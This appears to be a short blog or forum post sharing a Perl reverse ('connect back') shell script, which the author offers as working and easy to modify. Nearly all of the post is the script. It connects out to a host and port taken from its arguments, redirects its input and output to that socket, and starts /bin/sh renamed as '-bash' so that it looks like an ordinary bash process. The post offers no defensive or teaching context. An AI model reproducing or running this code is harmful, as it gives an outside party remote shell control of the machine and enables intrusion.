Connect Back Shell

this morning I just wanna share this pretty perl script. It’s a back connections shell. Works great and is very easy to modify. Hope you will enjoy it !

#!/usr/bin/perl

use Socket;

$host = $ARGV[0];

$port = $ARGV[1];

if (!$ARGV[0]) {

printf “[!] Usage: perl script.pl \n”;

exit(1);

}

print “[+] Connecting to $host\n”;

$prot = getprotobyname(‘tcp’); # You can change this if needs be

socket(SERVER, PF_INET, SOCK_STREAM, $prot) || die (“[-] Unable to Connect !”);

if (!connect(SERVER, pack “SnA4x8”, 2, $port, inet_aton($host))) {die(“[-] Unable to Connect !”);}

open(STDIN,“>&SERVER”);

open(STDOUT,“>&SERVER”);

open(STDERR,“>&SERVER”);

exec {‘/bin/sh’} ‘-bash’ . “\0” x 4;